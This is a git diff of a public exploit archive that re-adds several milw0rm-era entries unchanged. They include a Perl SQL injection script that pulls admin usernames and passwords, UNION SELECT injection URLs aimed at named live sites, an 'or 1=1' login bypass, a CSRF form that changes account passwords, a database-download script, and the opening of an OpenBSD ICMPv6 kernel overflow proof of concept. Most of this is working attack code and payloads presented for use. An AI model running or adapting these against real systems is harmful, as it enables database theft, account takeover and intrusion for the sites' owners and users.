-$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
-print $socket "GET $target HTTP/1.1\n";
-print $socket "Host: $server\n";
-print $socket "Accept: */*\n";
-print $socket "Connection: close\n\n";
-print "+ Connected!...\n";
-#Getting
-while($answer = <$socket>) {
-if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){
-print "+ Exploit succeed! Getting admin information.\n";
-print "+ ---------------- +\n";
-print "+ Username: $1\n";
-}
-
-if ($answer =~ /<font size=\"4\"><b>(.*?)<br>/){
-print "+ Password: $1\n";
-}
-
-if ($answer =~ /Syntax error/) { 
-print "+ Exploit Failed : ( \n";
-print "+**********************************************************************+\n";
-exit(); 
-}
-
-if ($answer =~ /Internal Server Error/) {
-print "+ Exploit Failed : (  \n";
-print "+**********************************************************************+\n";
-exit(); 
-}
- }
-
-# milw0rm.com [2006-12-30]
+#!/usr/bin/perl
+#[Script Name: Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
+#[Coded by   : ajann
+#[Author     : ajann
+#[Contact    : :(
+#[S.Page     : http://www.websitedesignsforless.com
+#[$$         : $9.95
+#[Message    : Tum Musluman Aleminin Kurban Bayrami Mubarek Olsun #..
+#[..         : ajann,Turkey
+
+# 2006.01 //coupon_detail.asp?key=-1%20union%20select%200,0,xusername,0,0,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%201
+
+
+use IO::Socket;
+if(@ARGV < 1){
+print "
+[========================================================================
+[//  Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
+[//                   Usage: exploit.pl [target]
+[//                   Example: exploit.pl victim.com
+[//                   Example: exploit.pl victim.com
+[//                           Vuln&Exp : ajann
+[========================================================================
+";
+exit();
+}
+#Local variables
+$server = $ARGV[0];
+$server =~ s/(http:\/\/)//eg;
+$host = "http://".$server;
+$port = "80";
+$file = "/coupon_detail.asp?key=";
+
+print "Script <DIR> : ";
+$dir = <STDIN>;
+chop ($dir);
+
+if ($dir =~ /exit/){
+print "-- Exploit Failed[You Are Exited] \n";
+exit();
+}
+
+if ($dir =~ /\//){}
+else {
+print "-- Exploit Failed[No DIR] \n";
+exit();
+ }
+
+print "User <ID>    : ";
+$ID = <STDIN>;
+chop ($ID);
+
+if ($ID =~ /exit/){
+print "-- Exploit Failed[You Are Exited] \n";
+exit();
+}
+
+$len=length($ID);
+
+if ($len == 1){}
+else {
+print "-- Exploit Failed[No User Id] \n";
+exit();
+ }
+
+$target = "-1%20union%20select%200,0,0,xusername,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%20".$ID;
+$target = $host.$dir.$file.$target;
+
+#Writing data to socket
+print "+**********************************************************************+\n";
+print "+ Trying to connect: $server\n";
+$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
+print $socket "GET $target HTTP/1.1\n";
+print $socket "Host: $server\n";
+print $socket "Accept: */*\n";
+print $socket "Connection: close\n\n";
+print "+ Connected!...\n";
+#Getting
+while($answer = <$socket>) {
+if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){
+print "+ Exploit succeed! Getting admin information.\n";
+print "+ ---------------- +\n";
+print "+ Username: $1\n";
+}
+
+if ($answer =~ /<font size=\"4\"><b>(.*?)<br>/){
+print "+ Password: $1\n";
+}
+
+if ($answer =~ /Syntax error/) { 
+print "+ Exploit Failed : ( \n";
+print "+**********************************************************************+\n";
+exit(); 
+}
+
+if ($answer =~ /Internal Server Error/) {
+print "+ Exploit Failed : (  \n";
+print "+**********************************************************************+\n";
+exit(); 
+}
+ }
+
+# milw0rm.com [2006-12-30]
diff --git a/platforms/asp/webapps/3187.txt b/platforms/asp/webapps/3187.txt
index 11856986a..6a25780bb 100755
--- a/platforms/asp/webapps/3187.txt
+++ b/platforms/asp/webapps/3187.txt
@@ -1,25 +1,25 @@
-*******************************************************************************
-# Title   :  ASP NEWS <= V3 (news_detail.asp) Remote SQL Injection Vulnerability
-# Author  :  ajann
-# Contact :  :(
-# S.Page  :  http://www.planetgraphic.de/
-
-*******************************************************************************
-
-[[SQL]]]---------------------------------------------------------
-
-http://[target]/[path]//news_detail.asp?id=[SQL]
-
-Example:
-
-//news_detail.asp?id=-1%20union%20select%200,username,password,0,0,0%20from%20tblusers
-
-[[/SQL]]
-
-"""""""""""""""""""""
-# ajann,Turkey
-# ...
-
-# Im not Hacker!
-
-# milw0rm.com [2007-01-24]
+*******************************************************************************
+# Title   :  ASP NEWS <= V3 (news_detail.asp) Remote SQL Injection Vulnerability
+# Author  :  ajann
+# Contact :  :(
+# S.Page  :  http://www.planetgraphic.de/
+
+*******************************************************************************
+
+[[SQL]]]---------------------------------------------------------
+
+http://[target]/[path]//news_detail.asp?id=[SQL]
+
+Example:
+
+//news_detail.asp?id=-1%20union%20select%200,username,password,0,0,0%20from%20tblusers
+
+[[/SQL]]
+
+"""""""""""""""""""""
+# ajann,Turkey
+# ...
+
+# Im not Hacker!
+
+# milw0rm.com [2007-01-24]
diff --git a/platforms/asp/webapps/3194.txt b/platforms/asp/webapps/3194.txt
index e83404827..8d3de9026 100755
--- a/platforms/asp/webapps/3194.txt
+++ b/platforms/asp/webapps/3194.txt
@@ -1,26 +1,26 @@
-*******************************************************************************
-# Title   :  makit news/blog poster <=v3(news_page.asp) Remote SQL Injection Vulnerability
-# Author  :  ajann
-# Contact :  :(
-# S.Page  :  http://www.makit.net
-# $$      :  Free
-
-*******************************************************************************
-
-[[SQL]]]---------------------------------------------------------
-
-http://[target]/[path]//news_page.asp?uid=[SQL]
-
-Example:
-
-//news_page.asp?uid=-1'%20union%20select%200,0,0,uname,pword,0,0,0%20from%20users%20where%20'1=1
-
-[[/SQL]]
-
-"""""""""""""""""""""
-# ajann,Turkey
-# ...
-
-# Im not Hacker!
-
-# milw0rm.com [2007-01-25]
+*******************************************************************************
+# Title   :  makit news/blog poster <=v3(news_page.asp) Remote SQL Injection Vulnerability
+# Author  :  ajann
+# Contact :  :(
+# S.Page  :  http://www.makit.net
+# $$      :  Free
+
+*******************************************************************************
+
+[[SQL]]]---------------------------------------------------------
+
+http://[target]/[path]//news_page.asp?uid=[SQL]
+
+Example:
+
+//news_page.asp?uid=-1'%20union%20select%200,0,0,uname,pword,0,0,0%20from%20users%20where%20'1=1
+
+[[/SQL]]
+
+"""""""""""""""""""""
+# ajann,Turkey
+# ...
+
+# Im not Hacker!
+
+# milw0rm.com [2007-01-25]
diff --git a/platforms/asp/webapps/3321.txt b/platforms/asp/webapps/3321.txt
index 6d17034c4..a3d3b0a98 100755
--- a/platforms/asp/webapps/3321.txt
+++ b/platforms/asp/webapps/3321.txt
@@ -1,30 +1,30 @@
-=================================X=O=R=O=N=================================
-
-Snitz Forums 2000 Version 3.1 SR4 (pop_profile.asp) Remote SQL Injection Vulnerability
-
-=================================X=O=R=O=N=================================
-
-Bulan: xoron
-
-xoron.info - xoron.biz
-
-=================================X=O=R=O=N=================================
-
-POC: pop_profile.asp?mode=display&id=[SQL-INJ]
-
-=================================X=O=R=O=N=================================
-
-Username:
-pop_profile.asp?mode=display&id=1
-
-Pass:
-pop_profile.asp?mode=display&id=-1+union+all+select+0,M_PASSWORD,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+FORUM_MEMBERS
-
-=================================X=O=R=O=N=================================
-
-Thanx: str0ke, kacper, shika
-Tesekkurler: pang0, chaos, can bjorn, DJR
-
-=================================X=O=R=O=N================================= 
-
-# milw0rm.com [2007-02-16]
+=================================X=O=R=O=N=================================
+
+Snitz Forums 2000 Version 3.1 SR4 (pop_profile.asp) Remote SQL Injection Vulnerability
+
+=================================X=O=R=O=N=================================
+
+Bulan: xoron
+
+xoron.info - xoron.biz
+
+=================================X=O=R=O=N=================================
+
+POC: pop_profile.asp?mode=display&id=[SQL-INJ]
+
+=================================X=O=R=O=N=================================
+
+Username:
+pop_profile.asp?mode=display&id=1
+
+Pass:
+pop_profile.asp?mode=display&id=-1+union+all+select+0,M_PASSWORD,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+FORUM_MEMBERS
+
+=================================X=O=R=O=N=================================
+
+Thanx: str0ke, kacper, shika
+Tesekkurler: pang0, chaos, can bjorn, DJR
+
+=================================X=O=R=O=N================================= 
+
+# milw0rm.com [2007-02-16]
diff --git a/platforms/asp/webapps/7273.txt b/platforms/asp/webapps/7273.txt
index 71b509ef3..e3f82244d 100755
--- a/platforms/asp/webapps/7273.txt
+++ b/platforms/asp/webapps/7273.txt
@@ -1,44 +1,44 @@
-[~] ----------------------------بسم الله الرحمن الرح�م------------------------------
- [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
-   
- [~]Vendor:www.activewebsoftwares.com
-   
- [~]Software: Active Force Matrix v 2
-   
- [~]author: ((�3d D3v!L))
-   
- [~] Date: 28.11.2008
-   
- [~] Home: www.ahacker.biz
-   
- [~] contact: N/A
-
-[~] -----------------------------------------------------------
-   
-   
- [~] Exploit:
-   
-  username: r0' or ' 1=1--
-  password: r0' or ' 1=1--
-   
-   
- [~]login 4 d3m0:
-   
-  http://www.activewebsoftwares.com/demoactiveforcematrix/account.asp
-   
-   
-  
-[~]--------------------------------------------------------------------------------
-  
-  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &الزه�ر�
-  [~]
-  [~] spechial thanks : dolly & 7am3m & عماد & {str0ke}
-  [~]
-  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
-  [~]
-  [~] xp10.biz & ahacker.biz
-  [~]
-  
-[~]--------------------------------------------------------------------------------
-
-# milw0rm.com [2008-11-29]
+[~] ----------------------------بسم الله الرحمن الرح�م------------------------------
+ [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
+   
+ [~]Vendor:www.activewebsoftwares.com
+   
+ [~]Software: Active Force Matrix v 2
+   
+ [~]author: ((�3d D3v!L))
+   
+ [~] Date: 28.11.2008
+   
+ [~] Home: www.ahacker.biz
+   
+ [~] contact: N/A
+
+[~] -----------------------------------------------------------
+   
+   
+ [~] Exploit:
+   
+  username: r0' or ' 1=1--
+  password: r0' or ' 1=1--
+   
+   
+ [~]login 4 d3m0:
+   
+  http://www.activewebsoftwares.com/demoactiveforcematrix/account.asp
+   
+   
+  
+[~]--------------------------------------------------------------------------------
+  
+  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &الزه�ر�
+  [~]
+  [~] spechial thanks : dolly & 7am3m & عماد & {str0ke}
+  [~]
+  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
+  [~]
+  [~] xp10.biz & ahacker.biz
+  [~]
+  
+[~]--------------------------------------------------------------------------------
+
+# milw0rm.com [2008-11-29]
diff --git a/platforms/asp/webapps/7445.txt b/platforms/asp/webapps/7445.txt
index bfb14e817..45c722842 100755
--- a/platforms/asp/webapps/7445.txt
+++ b/platforms/asp/webapps/7445.txt
@@ -1,15 +1,15 @@
-#########################################################
----------------------------------------------------------
-Portal Name: Discussion Web
-Version : 4.0
-Vendor : http://www.takempis.com/aboutdiscussion.htm
-Author : Pouya_Server , Pouya.s3rver@Gmail.com
-Vulnerability : (DD)
----------------------------------------------------------
-#########################################################
-[DD]:
-http://site.com/[Path]/_private/discussion.mdb
-
----------------------------------
-
-# milw0rm.com [2008-12-14]
+#########################################################
+---------------------------------------------------------
+Portal Name: Discussion Web
+Version : 4.0
+Vendor : http://www.takempis.com/aboutdiscussion.htm
+Author : Pouya_Server , Pouya.s3rver@Gmail.com
+Vulnerability : (DD)
+---------------------------------------------------------
+#########################################################
+[DD]:
+http://site.com/[Path]/_private/discussion.mdb
+
+---------------------------------
+
+# milw0rm.com [2008-12-14]
diff --git a/platforms/asp/webapps/7464.txt b/platforms/asp/webapps/7464.txt
index f950e24b3..b780b045e 100755
--- a/platforms/asp/webapps/7464.txt
+++ b/platforms/asp/webapps/7464.txt
@@ -1,30 +1,30 @@
-###########################################################################
-#-------------------------------AlpHaNiX----------------------------------#
-###########################################################################
-
-#Found By : AlpHaNiX
-#website  : www.offensivetrack.org
-#contact  : AlpHa[AT]HACKER[DOT]BZ
-
-###########################################################################
-
-#script   : RealtyListing V1/V2
-#download : null
-#Demo     : http://www.aspsiteware.com/Realty1
-	    http://www.aspsiteware.com/realty2/realty2/
-
-
-###########################################################################
-
-#Exploits :
-
---=[SQL INJECTION]=--
-http://www.aspsiteware.com/Realty1/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
-http://www.aspsiteware.com/Realty1/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
-http://www.aspsiteware.com/realty2/realty2/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
-http://www.aspsiteware.com/realty2/realty2/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
-
-
-###########################################################################
-
-# milw0rm.com [2008-12-14]
+###########################################################################
+#-------------------------------AlpHaNiX----------------------------------#
+###########################################################################
+
+#Found By : AlpHaNiX
+#website  : www.offensivetrack.org
+#contact  : AlpHa[AT]HACKER[DOT]BZ
+
+###########################################################################
+
+#script   : RealtyListing V1/V2
+#download : null
+#Demo     : http://www.aspsiteware.com/Realty1
+	    http://www.aspsiteware.com/realty2/realty2/
+
+
+###########################################################################
+
+#Exploits :
+
+--=[SQL INJECTION]=--
+http://www.aspsiteware.com/Realty1/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
+http://www.aspsiteware.com/Realty1/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
+http://www.aspsiteware.com/realty2/realty2/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
+http://www.aspsiteware.com/realty2/realty2/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
+
+
+###########################################################################
+
+# milw0rm.com [2008-12-14]
diff --git a/platforms/asp/webapps/7736.htm b/platforms/asp/webapps/7736.htm
index 4b5e8e6bc..ae8f4e755 100755
--- a/platforms/asp/webapps/7736.htm
+++ b/platforms/asp/webapps/7736.htm
@@ -1,127 +1,127 @@
-*******************************************************************************
-# Title   :  Comersus Shopping Cart <= v6 Remote User Pass Exploit
-# Author  :  "ajann" from Turkey
-# Contact :   :( 
-# S.Page  :  http://www.comersus.com/
-# $$      :  Free
-# Dork    :  Powered by Comersus v6 Shopping Cart
-# DorkEx  :
-
-http://www.google.com.tr/search?hl=tr&q=Powered+by+Comersus+v6+Shopping+Cart&btnG=Ara&meta=
-
-KAHROLSUN ISRAEL
-
--Register Site
--Login
--Open Exploit
--Edit: User Email , User Password
--Submit Form
-
-*******************************************************************************
-
-<form method="post" name="modCust" action="http://target/[path]/comersus_customerModifyExec.asp">
-  <table width="421" border="0">  
-      <tr> 
-      
-    </tr>
-    <tr> 
-      <td width="168">Name</td>
-      <td width="220">      
-        <input type=text name=customerName value="test">
-      </td>
-    </tr>    
-    <tr> 
-      <td width="168">Last Name</td>
-      <td width="220">      
-        <input type=text name=lastName value="test">
-      </td>
-    </tr>
-    <tr> 
-      <td width="168">Company</td>
-      <td width="220">      
-        <input type=text name=customerCompany value="test">
-      </td>
-    </tr>
-    <tr> 
-      <td width="168">Phone</td>
-      <td width="220">        
-       <input type=text name=phone value="123456789">
-      </td>
-    </tr>
-    <tr> 
-      <td width="168"><strong>Email</strong></td>
-      <td width="220">   
-    
-        <input type="text" name="email" value="Please Add Mail"> 
-        Edit
-      </td>
-    </tr>
-    <tr> 
-      <td width="168"><strong>Password</strong></td>
-      <td width="220">         
-        <input type=text name=password value="Please Add Pass"> 
-        Edit
-      </td>
-    </tr>
-    <tr> 
-      <td width="168">Address</td>
-      <td width="220">         
-        <input type=text name=address value="test">
-      </td>
-    </tr>
-    <tr> 
-      <td width="168">Zip</td>
-      <td width="220">         
-        <input type=text name=zip value="08050">
-      </td>
-    </tr>
-    <tr> 
-      <td width="168">State</td>
-      <td width="220">         
-        
-      <SELECT name=stateCode size=1>
-      <OPTION value="">Select the state
-        <option value="1">Please Type County below
-      </OPTION>
-      </SELECT>
-      </td>
-    </tr>
-    <tr> 
-      <td width="168">Non listed state</td>
-      <td width="220">         
-       <input type=text name=state value="">
-      </td>
-    </tr>
-    <tr> 
-      <td width="168">City</td>
-      <td width="220">         
-        <input type=text name=city value="test">
-      </td>
-    </tr>    
-    <tr> 
-      <td width="168">Country</td>
-      <td width="220">                 
-        
-      <SELECT name=countryCode>
-      <OPTION value="">Select the country
-        <option value="AF" selected>AFGHANISTAN
-      </OPTION>
-      </SELECT>       
-      </td>
-    </tr>
-    
-    
-    
-    <tr> 
-      <td width="168">&nbsp;</td>
-      <td width="220">&nbsp;</td>
-    </tr>
-    <tr> 
-      <td colspan="2">        
-          <input type="submit" name="Modify" value="Modify">                            
-      </td>
-    </tr>
-    </table>
-   </form>          
-
-# milw0rm.com [2009-01-12]
+*******************************************************************************
+# Title   :  Comersus Shopping Cart <= v6 Remote User Pass Exploit
+# Author  :  "ajann" from Turkey
+# Contact :   :( 
+# S.Page  :  http://www.comersus.com/
+# $$      :  Free
+# Dork    :  Powered by Comersus v6 Shopping Cart
+# DorkEx  :
+
+http://www.google.com.tr/search?hl=tr&q=Powered+by+Comersus+v6+Shopping+Cart&btnG=Ara&meta=
+
+KAHROLSUN ISRAEL
+
+-Register Site
+-Login
+-Open Exploit
+-Edit: User Email , User Password
+-Submit Form
+
+*******************************************************************************
+
+<form method="post" name="modCust" action="http://target/[path]/comersus_customerModifyExec.asp">
+  <table width="421" border="0">  
+      <tr> 
+      
+    </tr>
+    <tr> 
+      <td width="168">Name</td>
+      <td width="220">      
+        <input type=text name=customerName value="test">
+      </td>
+    </tr>    
+    <tr> 
+      <td width="168">Last Name</td>
+      <td width="220">      
+        <input type=text name=lastName value="test">
+      </td>
+    </tr>
+    <tr> 
+      <td width="168">Company</td>
+      <td width="220">      
+        <input type=text name=customerCompany value="test">
+      </td>
+    </tr>
+    <tr> 
+      <td width="168">Phone</td>
+      <td width="220">        
+       <input type=text name=phone value="123456789">
+      </td>
+    </tr>
+    <tr> 
+      <td width="168"><strong>Email</strong></td>
+      <td width="220">   
+    
+        <input type="text" name="email" value="Please Add Mail"> 
+        Edit
+      </td>
+    </tr>
+    <tr> 
+      <td width="168"><strong>Password</strong></td>
+      <td width="220">         
+        <input type=text name=password value="Please Add Pass"> 
+        Edit
+      </td>
+    </tr>
+    <tr> 
+      <td width="168">Address</td>
+      <td width="220">         
+        <input type=text name=address value="test">
+      </td>
+    </tr>
+    <tr> 
+      <td width="168">Zip</td>
+      <td width="220">         
+        <input type=text name=zip value="08050">
+      </td>
+    </tr>
+    <tr> 
+      <td width="168">State</td>
+      <td width="220">         
+        
+      <SELECT name=stateCode size=1>
+      <OPTION value="">Select the state
+        <option value="1">Please Type County below
+      </OPTION>
+      </SELECT>
+      </td>
+    </tr>
+    <tr> 
+      <td width="168">Non listed state</td>
+      <td width="220">         
+       <input type=text name=state value="">
+      </td>
+    </tr>
+    <tr> 
+      <td width="168">City</td>
+      <td width="220">         
+        <input type=text name=city value="test">
+      </td>
+    </tr>    
+    <tr> 
+      <td width="168">Country</td>
+      <td width="220">                 
+        
+      <SELECT name=countryCode>
+      <OPTION value="">Select the country
+        <option value="AF" selected>AFGHANISTAN
+      </OPTION>
+      </SELECT>       
+      </td>
+    </tr>
+    
+    
+    
+    <tr> 
+      <td width="168">&nbsp;</td>
+      <td width="220">&nbsp;</td>
+    </tr>
+    <tr> 
+      <td colspan="2">        
+          <input type="submit" name="Modify" value="Modify">                            
+      </td>
+    </tr>
+    </table>
+   </form>          
+
+# milw0rm.com [2009-01-12]
diff --git a/platforms/asp/webapps/8120.txt b/platforms/asp/webapps/8120.txt
index 2ff50378c..ba56faae8 100755
--- a/platforms/asp/webapps/8120.txt
+++ b/platforms/asp/webapps/8120.txt
@@ -1,44 +1,44 @@
-@~~=======================================~~@
-====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
-@~~=======================================~~@
-@~~=Author   : ByALBAYX
-
-@~~=Website  : WWW.C4TEAM.ORG
-
-@~~=From     : Turkish
-@~~=======================================~~@
-@~~=Script   :SkyPortal Downloads Manager v1.1
-
-@~~=S.Site   :http://skyportal.net
-
-@~~=Download :http://skyportal.net/downloads/modules/mod_downloads_1_1.zip
-
-@~~=Demo     :http://vegtrafikk.net
-@~~=======================================~~@
-
-@~~=Vul:
-
-@~~=http://site.com/ [PATH] /admin_dl_browse.asp
-
-@~~=http://site.com/ [PATH] /dl_add_form.asp
-
-
-@~~=Demo:
-
-@~~=http://vegtrafikk.net/admin_dl_browse.asp
-
-@~~=http://resala2u.com/admin_dl_browse.asp
-
-
-vs..   vs..   vs..
-@~~=======================================~~@
-@~~=Greetz For
-  
-@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
-@~~=======================================~~@
-Derdimi dinledim, derdimden iGRENDiM...
-Onun derdini gordum, derdime iMRENDiM...
-FilistiN
-@~~=======================================~~@
-
-# milw0rm.com [2009-02-27]
+@~~=======================================~~@
+====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
+@~~=======================================~~@
+@~~=Author   : ByALBAYX
+
+@~~=Website  : WWW.C4TEAM.ORG
+
+@~~=From     : Turkish
+@~~=======================================~~@
+@~~=Script   :SkyPortal Downloads Manager v1.1
+
+@~~=S.Site   :http://skyportal.net
+
+@~~=Download :http://skyportal.net/downloads/modules/mod_downloads_1_1.zip
+
+@~~=Demo     :http://vegtrafikk.net
+@~~=======================================~~@
+
+@~~=Vul:
+
+@~~=http://site.com/ [PATH] /admin_dl_browse.asp
+
+@~~=http://site.com/ [PATH] /dl_add_form.asp
+
+
+@~~=Demo:
+
+@~~=http://vegtrafikk.net/admin_dl_browse.asp
+
+@~~=http://resala2u.com/admin_dl_browse.asp
+
+
+vs..   vs..   vs..
+@~~=======================================~~@
+@~~=Greetz For
+  
+@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
+@~~=======================================~~@
+Derdimi dinledim, derdimden iGRENDiM...
+Onun derdini gordum, derdime iMRENDiM...
+FilistiN
+@~~=======================================~~@
+
+# milw0rm.com [2009-02-27]
diff --git a/platforms/asp/webapps/8377.pl b/platforms/asp/webapps/8377.pl
index c8a1e7062..c8512a7af 100755
--- a/platforms/asp/webapps/8377.pl
+++ b/platforms/asp/webapps/8377.pl
@@ -1,56 +1,56 @@
-#!/usr/bin/perl
-# By AlpHaNiX [NullArea.Net]
-# alpha[at]hacker.bz
-# Made in Tunisia
-###########
-# script : Exjune Guestbook v2
-# download : http://www.exjune.com/downloads/downloads/exJune_guestbook.asp
-###########
-# Vulnerable :
-# database path : /admin/exdb.mdb
-##########
-# Real Life Example :
-#
-#
-# OOO  OOO           OO    OO        OO
-#  OO   O             O     O         O
-#  O O  O  OO  OO     O     O        O O   OO OOO   OOOO    OOOOO
-#  O  O O   O   O     O     O        OOO    OO     OOOOOO       O
-#  O   OO   O   O     O     O       O   O   O      O       OOOOOO
-# OOO  OO   OOOOO   OOOOO OOOOO    OOO OOO OOOOO    OOOOO  OOOO OO
-#
-#
-#[-] Exjune Guestbook v2 Remote Database Disclosure Exploit
-#[-] Found & Exploited By AlpHaNiX
-#
-#
-#[!] Exploiting http://www.ladyslipperretreat.com/guestbook// ....
-#[+] http://www.ladyslipperretreat.com/guestbook// Exploited ! Database saved to c:/db.mdb
-##########
-# Greetz for Zigma/Djek/unary/r1z
-
-
-use lwp::UserAgent;
-
-system('cls');
-system('title Exjune Guestbook v2 Remote Database Disclosure Exploit');
-system('color 2');
-if (!defined($ARGV[0])) {print "[!] Usage : \n    ./exploit http://site.com\n";exit();}
-if ($ARGV[0] =~ /http:\/\// ) { $site = $ARGV[0]."/"; } else { $site = "http://".$ARGV[0]."/"; }
-print "\n\n\n\n OOO  OOO           OO    OO        OO\n" ;
-print "  OO   O             O     O         O\n" ;
-print "  O O  O  OO  OO     O     O        O O   OO OOO   OOOO    OOOOO\n" ;
-print "  O  O O   O   O     O     O        OOO    OO     OOOOOO       O\n" ;
-print "  O   OO   O   O     O     O       O   O   O      O       OOOOOO\n" ;
-print " OOO  OO   OOOOO   OOOOO OOOOO    OOO OOO OOOOO    OOOOO  OOOO OO\n" ;
-print "\n\n[-] Exjune Guestbook v2 Remote Database Disclosure Exploit\n";
-print "[-] Found & Exploited By AlpHaNiX \n\n\n";
-print "[!] Exploiting $site ....\n";
-my $site      = $ARGV[0] ;
-my $target    = $site."/admin/exdb.mdb" ;
-my $useragent = LWP::UserAgent->new();
-my $request   = $useragent->get($target,":content_file" => "c:/db.mdb");
-if ($request->is_success) {print "[+] $site Exploited ! Database saved to c:/db.mdb";exit();}
-else {print "[!] Exploiting $site Failed !\n[!] ".$request->status_line."\n";exit();}
-
-# milw0rm.com [2009-04-09]
+#!/usr/bin/perl
+# By AlpHaNiX [NullArea.Net]
+# alpha[at]hacker.bz
+# Made in Tunisia
+###########
+# script : Exjune Guestbook v2
+# download : http://www.exjune.com/downloads/downloads/exJune_guestbook.asp
+###########
+# Vulnerable :
+# database path : /admin/exdb.mdb
+##########
+# Real Life Example :
+#
+#
+# OOO  OOO           OO    OO        OO
+#  OO   O             O     O         O
+#  O O  O  OO  OO     O     O        O O   OO OOO   OOOO    OOOOO
+#  O  O O   O   O     O     O        OOO    OO     OOOOOO       O
+#  O   OO   O   O     O     O       O   O   O      O       OOOOOO
+# OOO  OO   OOOOO   OOOOO OOOOO    OOO OOO OOOOO    OOOOO  OOOO OO
+#
+#
+#[-] Exjune Guestbook v2 Remote Database Disclosure Exploit
+#[-] Found & Exploited By AlpHaNiX
+#
+#
+#[!] Exploiting http://www.ladyslipperretreat.com/guestbook// ....
+#[+] http://www.ladyslipperretreat.com/guestbook// Exploited ! Database saved to c:/db.mdb
+##########
+# Greetz for Zigma/Djek/unary/r1z
+
+
+use lwp::UserAgent;
+
+system('cls');
+system('title Exjune Guestbook v2 Remote Database Disclosure Exploit');
+system('color 2');
+if (!defined($ARGV[0])) {print "[!] Usage : \n    ./exploit http://site.com\n";exit();}
+if ($ARGV[0] =~ /http:\/\// ) { $site = $ARGV[0]."/"; } else { $site = "http://".$ARGV[0]."/"; }
+print "\n\n\n\n OOO  OOO           OO    OO        OO\n" ;
+print "  OO   O             O     O         O\n" ;
+print "  O O  O  OO  OO     O     O        O O   OO OOO   OOOO    OOOOO\n" ;
+print "  O  O O   O   O     O     O        OOO    OO     OOOOOO       O\n" ;
+print "  O   OO   O   O     O     O       O   O   O      O       OOOOOO\n" ;
+print " OOO  OO   OOOOO   OOOOO OOOOO    OOO OOO OOOOO    OOOOO  OOOO OO\n" ;
+print "\n\n[-] Exjune Guestbook v2 Remote Database Disclosure Exploit\n";
+print "[-] Found & Exploited By AlpHaNiX \n\n\n";
+print "[!] Exploiting $site ....\n";
+my $site      = $ARGV[0] ;
+my $target    = $site."/admin/exdb.mdb" ;
+my $useragent = LWP::UserAgent->new();
+my $request   = $useragent->get($target,":content_file" => "c:/db.mdb");
+if ($request->is_success) {print "[+] $site Exploited ! Database saved to c:/db.mdb";exit();}
+else {print "[!] Exploiting $site Failed !\n[!] ".$request->status_line."\n";exit();}
+
+# milw0rm.com [2009-04-09]
diff --git a/platforms/bsd/remote/3491.py b/platforms/bsd/remote/3491.py
index c58d88371..bd6276c43 100755
--- a/platforms/bsd/remote/3491.py
+++ b/platforms/bsd/remote/3491.py
@@ -1,166 +1,166 @@
-# The PoC executes the shellcode (int 3) and returns. It overwrites the 
-# ext_free() function pointer on the mbuf and forces a m_freem() on the 
-# overflowed packet. 
-#
-# The Impacket library is used to craft and send packets 
-# (http://oss.coresecurity.com/projects/impacket.html or download from 
-# Debian repositories) 
-#
-# Currently, only systems supporting raw sockets and the PF_PACKET family 
-# can run the included proof-of-concept code. 
-#
-# Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 
-# 30" 
-#
-# To use the code to test a custom machine you will need to: 1) Adjust the 
-# MACADDRESS variable 2) Find the right trampoline value for your system 
-# and replace it in the code. To find a proper trampoline value use the 
-# following command: "objdump -d /bsd | grep esi | grep jmp" 3) Adjust the 
-# ICMP checksum 
-#
-# The exploit should stop on an int 3 and pressing "c" in ddb the kernel 
-# will continue normally. 
-#
-#
-# Description:
-#   OpenBSD ICMPv6 fragment remote execution PoC
-#
-# Author:
-#   Alfredo Ortega
-#   Mario Vilas
-#
-# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
-# All rights reserved
-
-from impacket import ImpactPacket
-import struct
-import socket
-import time
-
-class BSD_ICMPv6_Remote_BO:
-    MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)
-    def Run(self):
-        self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
-        self.s.bind(('eth0',0x86dd))
